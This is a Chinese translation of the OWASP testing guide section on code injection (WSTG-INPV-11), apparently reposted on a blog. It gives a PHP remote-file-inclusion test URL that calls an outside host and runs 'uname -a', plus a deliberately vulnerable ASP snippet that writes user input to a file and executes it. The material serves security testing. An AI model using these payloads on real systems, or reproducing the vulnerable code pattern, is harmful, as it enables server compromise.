4.7.11.0-代码注入测试

代码注入测试

ID
WSTG-INPV-11

总结

本节描述了测试人员如何检查是否可以在 Web 页面上输入代码并让 Web 服务器执行它。

代码注入 测试中,测试人员提交由 Web 服务器作为动态代码或包含文件处理的输入。这些测试可以针对各种服务器端脚本引擎,例如 ASP 或 PHP。需要采用适当的输入验证和安全编码实践来防范这些攻击。

测试目标

  • 确定可以将代码注入应用程序的注入点。
  • 评估注射的严重程度。

如何测试

黑盒测试

测试 PHP 注入漏洞

使用 querystring,测试人员可以注入代码(在本例中为恶意 URL),作为包含文件的一部分进行处理:

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

恶意 URL 被接受为 PHP 页面的参数,该页面稍后将使用包含文件中的值。

灰盒测试

测试 ASP 代码注入漏洞

检查 ASP 代码中是否有执行函数中使用的用户输入。用户是否可以在 Data input(数据输入)字段中输入命令?在这里,ASP 代码会将输入保存到文件中,然后执行它:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing

'Data.txt is executed
Server.Execute( "data.txt" )

Else
%>

<form>
<input name="Data" /><input type="submit" name="Enter Data" />

</form>
<%
End If
%>)))

引用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值